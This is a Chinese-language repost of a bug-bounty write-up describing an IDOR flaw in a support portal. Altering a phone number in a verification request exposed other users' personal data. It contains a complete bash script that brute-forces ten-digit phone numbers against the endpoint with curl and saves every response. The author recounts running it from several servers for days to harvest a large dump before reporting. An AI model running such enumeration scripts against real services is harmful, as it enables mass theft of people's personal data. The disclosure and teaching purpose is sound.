暴露1700万用户数据的IDOR漏洞

新闻资讯 2023-06-24 09:47 94 0

声明：该公众号大部分文章来自作者日常学习笔记，也有部分文章是经过作者授权和其他公众号白名单转载，未经授权，严禁转载，如需转载，联系开白。

请勿利用文章内的相关技术从事非法测试，如因此产生的一切不良后果与文章作者和本公众号无关。

来源：Medium，作者：Supun Halangoda (Suppa)

现在只对常读和星标的公众号才展示大图推送，建议大家把潇湘信安“设为星标”，否则可能看不到了！

0x00 前言

大家好，这篇文章是关于我几个月前在一个私人漏洞赏金计划中发现的一个漏洞。

对于那些新手或不熟悉什么是 IDOR 漏洞的人，可以通过以下链接了解更多信息并自行测试。

https://portswigger.net/web-security/access-control/idorhttps://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html

0x01 初始漏洞

在我测试的应用程序中，有一个支持门户显示如下，提示用户提供他们的姓名、电话号码、事件日期、电子邮件等。

现在，在这种情况下，我添加了我的电话号码、姓名和其他字段，并使用 Burp Suite 捕获了请求，然后将其发送到转发器，以下是请求的示例。

所以，当我仔细检查请求时，我注意到它首先验证了电话号码的合法性。它对提供的电话号码执行验证检查。

然后，当我将此请求发送给中继器并检查响应时，它提供了我的所有详细信息，包括我的姓名、出生日期 (DOB)、地址和其他个人信息，这些构成了 PII 数据（个人身份信息）。

接下来，我只是将电话号码的最后两位数字更改为随机数字，令我惊讶的是，响应显示了另一个用户的个人详细信息，如下例所示。（注意：我已经编辑了 PII 数据）

然后，我继续向 Intruder 发送请求并尝试枚举 100 个不同的号码，令我惊讶的是，没有适当的速率限制控制，这让我产生了创建自己的 bash 脚本来自动枚举数据的想法。

下面是我创建的用于暴力破解请求并将响应保存在 JSON 文件中的脚本。

#!/bin/bash
endpoint="https://xyz.com/verifyNumber"cookie="X"user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0"referer="https://xyz.com/"content_length="37"data="sbu=PostPaid%PrePaid"
# Create an empty array for responsesresponses=()
for ((num=1111111111; num<=9999999999; num++))do    number="number=$num"
    # Create temporary request file    request_file=$(mktemp)    cat << EOF > "$request_file"GET /verifyNumber HTTP/2Host: xyz.comCookie: $cookieUser-Agent: $user_agentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: $refererUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-siteSec-Fetch-User: ?1Te: trailersContent-Length: $content_length
$number&$dataEOF
    # Send the request using curl and append the response to the array    response=$(curl -X GET -H "Content-Type: application/x-www-form-urlencoded" --http2 --data-binary "@$request_file" "$endpoint")    responses+=("$response")
    # Cleanup    rm "$request_file"done
# Save the responses array as JSONecho "[" > resp.jsonfor ((i=0; i<${#responses[@]}; i++))do    echo "${responses[i]}" >> resp.json    if [[ $i -lt $(( ${#responses[@]} - 1 )) ]]; then        echo "," >> resp.json    fidoneecho "]" >> resp.json

因此，我在我的三台虚拟专用服务器 (VPS) 上运行了这个脚本，使用了三到四天的各种数字模式，我能够生成大量数据转储，令人惊讶的是，他们没有检测到我的暴力尝试，也没有试图阻止我。

在向他们报告此漏洞后，它被确定为严重的 P1 漏洞。他们通过实施会话令牌迅速提供了修复，有效地隐藏了响应中的敏感数据。

“根据该公司安全工程师的回应，提到我发现并利用的这个漏洞可能导致 1700 万用户数据泄露。这确实是一个重大而实质性的影响。”

我希望你能从这篇文章中学到一些东西，“ IDOR 日记：意外数据泄露的故事”还会带来更多内容。

0x02 我的帖子摘要

在评估期间，我发现系统中存在不安全的直接对象引用 (IDOR) 漏洞。这允许未经授权访问敏感的用户数据，包括个人身份信息 (PII)。我通过观察支持门户中电话号码的验证来确定漏洞。通过修改请求中的电话号码，我可以检索其他用户的个人详细信息。为了进一步利用该漏洞，我创建了一个 bash 脚本并在多个虚拟专用服务器 (VPS) 上运行它以系统地枚举和收集大量数据而不被发现。报告该漏洞后，该公司意识到其重要性，并通过添加会话令牌来隐藏响应中的敏感数据来实施修复。

在进行安全评估和披露漏洞时，请记住负责任地使用这些知识并遵守法律和道德准则。

关注我们

还在等什么？赶紧点击下方名片开始学习吧！